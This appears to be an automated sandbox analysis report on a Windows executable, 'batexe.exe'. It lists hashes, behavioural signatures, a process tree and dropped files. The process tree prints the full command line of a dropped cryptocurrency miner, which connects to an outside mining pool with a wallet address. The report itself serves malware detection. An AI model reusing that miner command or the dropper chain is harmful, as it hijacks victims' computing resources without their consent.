73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
303s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
12/02/2024, 12:07

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
1004	b2e.exe
196	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
196	cpuminer-sse2.exe
196	cpuminer-sse2.exe
196	cpuminer-sse2.exe
196	cpuminer-sse2.exe
196	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4852-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4852 wrote to memory of 1004	4852	batexe.exe	73
PID 4852 wrote to memory of 1004	4852	batexe.exe	73
PID 4852 wrote to memory of 1004	4852	batexe.exe	73
PID 1004 wrote to memory of 2312	1004	b2e.exe	74
PID 1004 wrote to memory of 2312	1004	b2e.exe	74
PID 1004 wrote to memory of 2312	1004	b2e.exe	74
PID 2312 wrote to memory of 196	2312	cmd.exe	77
PID 2312 wrote to memory of 196	2312	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4852
- C:\Users\Admin\AppData\Local\Temp\BC4B.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\BC4B.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\BC4B.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1004
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\C0A0.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2312
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:196

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\BC4B.tmp\b2e.exe

Filesize
1.5MB

MD5
2a089e8bf6578017b5c976d0dacec1b8

SHA1
111f721c4eb9edb2555114a6c8d95d0bac6bf333

SHA256
7c38ff410d155d55353f7c8d0ccda5c2f63a97eadff37a99228b2cff8efddb50

SHA512
5efbe1daa3034284f68f7045fbbd4e26276165f60dca93d455772d5727deaf9ebc059a8b7b0763c6d00243fc8bbff9a197556837e71a1ecfd71e6919b8a7ecfe

Download Submit
C:\Users\Admin\AppData\Local\Temp\BC4B.tmp\b2e.exe

Filesize
1024KB

MD5
55d3fcf113506e85b6cf485f08b11290

SHA1
539d601fdd7e37fe22412d8c73023e21293ac62c

SHA256
519083ea4de496637895b9c3dd7fa5d9fc1140325272570f09aa0d2bad46f2d3

SHA512
62c0dc6a36ef819eede73c8b041fbdf579ec0ae399654a73a4628555bb84c4e1fdcf314deb659f41986204e2d92acd886dd8735a24a150a309d4035b58a33ee4

Download Submit
C:\Users\Admin\AppData\Local\Temp\C0A0.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.1MB

MD5
3b0e358d46daf4646f7bb4735a7cf0df

SHA1
96762e7afc42ce9896ea626028c3d2301a22066f

SHA256
220b8ad97ba0395d681e28109bdd3d79bef047cdf164c8208ae32d52f0fbdf84

SHA512
441977280fa74abdf0dbd2e211065f09dd80e555ae9a883d67edebf160ea5a2b9f905b0b40944d8b16b3ce9fa00541c0af617c93f2977e7e373ee3182677237e

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
11.3MB

MD5
28cf3b7f716dbbd22ded157b0d9b187f

SHA1
39241d5e215363611c9086c8a58842fa817a555f

SHA256
c31ec05eca9115178ce2d501edddbf295d9dc5cc56420c9741138ab2de2f7af2

SHA512
7687ab31bace9e1916031b46f588f4bfaa8ea949e9051de6d1158461e52dcdc23ede53dc40089db14524807f40a2071ff99075e3661ad23fbbb1dfa92bc89796

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
10.2MB

MD5
3d01141fe59229312d1384ac102f586b

SHA1
481fa56c39c2ed15d9b5f2b1bb119d7088231239

SHA256
5fcba0aab2108cdfa65d64ad83f97795930232aaa5282916c4cc30346a4338b3

SHA512
7591490b20987e610ef8689964f22506f3e99118398f76aeb7676997000a3e53200a38be5992e33662969645c430b03c97f1d7b30de0b86b5f59761e2caab0a6

Download Submit
memory/196-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/196-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/196-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/196-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/196-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/196-43-0x0000000074920000-0x00000000749B8000-memory.dmp

Filesize
608KB

Download
memory/196-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/196-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/196-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/196-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/196-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/196-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/196-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/196-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1004-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1004-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4852-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download